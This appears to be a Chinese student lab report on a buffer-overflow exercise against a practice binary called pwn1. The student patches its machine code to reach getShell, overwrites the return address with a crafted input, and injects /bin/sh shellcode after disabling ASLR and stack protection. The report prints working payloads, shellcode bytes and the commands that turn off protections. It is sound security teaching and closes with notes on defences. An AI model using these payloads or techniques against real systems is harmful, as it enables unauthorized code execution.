1.实验内容
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
- 1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 3.注入一个自己制作的shellcode并运行这段shellcode。
基础知识:
-
1.熟悉Linux基本操作
常用指令:
ls:列出目录内容。
cd:更改当前工作目录。
mkdir:创建新的目录。
rm:删除文件或目录。
cp:复制文件或目录。
mv:移动或重命名文件或目录。
grep:搜索文本中的模式。
find:查找文件。
管道(|):允许将一个命令的输出作为另一个命令的输入,例如 ls | grep txt 会列出所有名称中包含“txt”的文件。 -
2.理解Bof的原理。
Bof是一种常见的安全漏洞,当程序尝试向缓冲区写入超过其容量的数据时发生。这可能导致数据溢出到相邻的内存空间,从而破坏其他数据或者执行恶意代码。
汇编语言是低级编程语言,直接对应于机器指令。理解汇编可以帮助了解底层的操作细节。
EIP在x86架构中指向下一条要执行的指令地址。在BoF攻击中,攻击者可能试图控制EIP来让CPU执行他们想要的代码。
通过溢出缓冲区,攻击者可以改写栈上的返回地址,使得函数返回后跳转到恶意代码的位置。 -
3.会使用gdb,vi。
使用GDB的一些基本命令包括:
run:开始执行程序。
break:设置断点。
continue:继续执行直到下一个断点。
step:单步执行。
print:打印变量值。
vi/vim 插入模式的一些基本命令包括:
i:进入插入模式。
:w:保存文件。
:q:退出编辑器。
:wq 或 ZZ:保存并退出。
:q!:不保存退出。 -
4.hellcode就是一段机器指令(code)
通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
2.实验过程
- 直接修改程序机器指令,改变程序执行流程
首先cp pwn1 pwn20222313_1
,将pwn1复制出一份pwn20222313_1。
在终端输入objdump -d pwn20222313_1 | more
,对pwn20222313_1进行反汇编。
先看第12行,"call 8048491 "是汇编指令
是说这条指令将调用位于地址8048491处的foo函数;
其对应机器指令为“e8 d7ffffff”,e8即跳转之意。
本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba。
main函数调用foo,对应机器指令为“ e8 d7ffffff”,如果让它调用getShell,只要修改“d7ffffff”为"getShell-80484ba"对应的补码就行,可知补码为c3ffffff。
接着利用vi pwn20222313_1
修改pwn20222313_1文件内容,将其中的call指令的目标地址由d7ffffff变为c3ffffff。
打开文件后为乱码,按esc。输入:%!xxd
将文件转化为十六进制读取形式,输入/e8 d7找到需要修改的位置。
按i进入插入模式,进行修改。
修改完成后,输入:%!xxd -r
和:wq
保存并退出。
输入./pwn20222313_1运行更改后的文件,成功得到shell提示符。
- 通过构造输入参数,造成BOF攻击,改变程序执行流
复制pwn1得到一份pwn20222313_2。
在终端输入sudo apt update
,sudo apt install gdb
安装gdb。
输入gdb pwn20222313_2
调试程序,输入r,输入1111111122222222333333334444444455555555
输入info r
查看寄存器eip的值,可以看到,eip中的值被修改成了 0x35353535,也就是说这时候eip里存的数据是"5555"(因为5的ASCII码是0x35),而我们输入长度已经超过了原本缓冲区的28字节,字符串的“555555555”部分溢出覆盖掉了eip的部分。
再次先输入gdb pwn20222313_2
和r调试程序,输入1111111122222222333333334444444412345678。
输入info r
查看寄存器eip的值,看到eip中的值变成了 0x34333231,也就是说里面存的字符是"4321",由此我们看到输入字符串“111111..12345678”中的“1234”覆盖掉原本堆栈中的返回地址。
结合之前反汇编的内容得知getShell的地址为804847d。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"'> input20222313
查看input20222313中的内容xxd input20222313
输入(cat input20222313;cat)| ./pwn20222313_2
将input20222313中的内容输入pwn20222313_2中,发现执行成功。
- 注入Shellcode并执行
准备工作:
输入下列指令对系统进行设置:
execstack -s pwn20222313_3
execstack -q pwn20222313_3
more /proc/sys/kernel/randomize_va_space
sudo su
echo "0" > /proc/sys/kernel/randomize_va_space
more /proc/sys/kernel/randomize_va_space
生成一个shellcode:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
输入(cat input_shellcode;cat) | ./pwn20222313_3
进行注入。
打开一个新终端,输入ps -ef | grep pwn20222313_3
查找进程号。
27897就是我们需要的进程号。
打开gdb进行调试,输入attach 27897
调试进程,输入disassemble foo
设置断点,查看要注入的内存地址。
可以看到,地址是0x080484ae,输入break *0x080484ae
,把断点设置在080484ae。
在最开始的终端按下回车,然后在新打开的终端输入c继续运行,输入info r esp
,查看esp地址,发现shellcode地址为0xffffd38c
输入x/16x 0xffffd38c
,发现0xffffd38c的地址内存储着01020304
栈顶指针地址加四字节0xffffd38c+4=0xffffd390,所以shellcode中的x4\x3\x2\x1应该改为90\d3\ff\ff。
再次编写一个shellcode:
perl -e 'print "A" x 32;print "\x90\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
再次注入:输入(cat input_shellcode;cat) | ./pwn20222313_3
。
顺利运行:
3.问题及解决方案
-
- 问题1:在安装gdb时安装失败,发现libc6-dev 包需要的 binutils 版本低于 2.38,但系统中已经安装的 binutils 的版本是 2.37-10.1,两个并不兼容
- 问题1:在安装gdb时安装失败,发现libc6-dev 包需要的 binutils 版本低于 2.38,但系统中已经安装的 binutils 的版本是 2.37-10.1,两个并不兼容
- 问题1解决方案:输入
sudo apt install binutils
重新下载新版binutils,下载成功后顺利安装gdb。
-
- 问题2:输入./pwn20222313_1执行文件时,提示“zsh:permission denied:/pwn20222313_1”
- 问题2解决方案:在终端中输入
chmod +x ./pwn20222313_1
-
- 问题3:找不到execstack指令
- 问题3:找不到execstack指令
- 问题3解决方案:输入命令
wget http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb
和sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb
4.学习感悟、思考等
作为网络攻防的第一次实验,我从下载安装kali,学习linux环境下的指令开始,几乎是从0学习了各种技能和基础知识。这次实验首先明确了目标:针对一个Linux可执行文件进行操作,找到并利用程序中的缓冲区溢出漏洞来执行特定的shellcode。整个过程分为几个步骤,包括直接修改可执行文件以改变程序流程、构造输入参数引发缓冲区溢出从而控制程序执行流,以及最终注入并执行自定义的shellcode。
在学习过程中,我遇到了很多小问题,比如用户权限不够,指令找不到,地址没有加4等,在解决这些小问题的过程中,我对Linux系统有了更深入的理解。我了解了基本的Linux操作和常用命令对于完成此类实验的重要性,理解和掌握了基础的汇编语言,学会了构建有效的payload以及如何准备一段shellcode,并将其成功注入到目标程序中,实现远程攻击模拟。
实验说明,实施合适的保护措施对于网络安全是不可忽视的。从防御的角度出发,我还了解了多种防止缓冲区溢出攻击的方法,如启用堆栈不可执行(NX bit)、使用地址空间布局随机化(ASLR)等技术增加攻击难度。同时,指出即使采取了这些防护措施,攻击者仍可能通过其他技术手段绕过,例如ROP攻击。
这次学习不仅提高了对缓冲区溢出漏洞及其利用方法的理解,而且增强了对软件安全防护机制的认识,为今后在网络安全领域的工作打下了坚实的基础。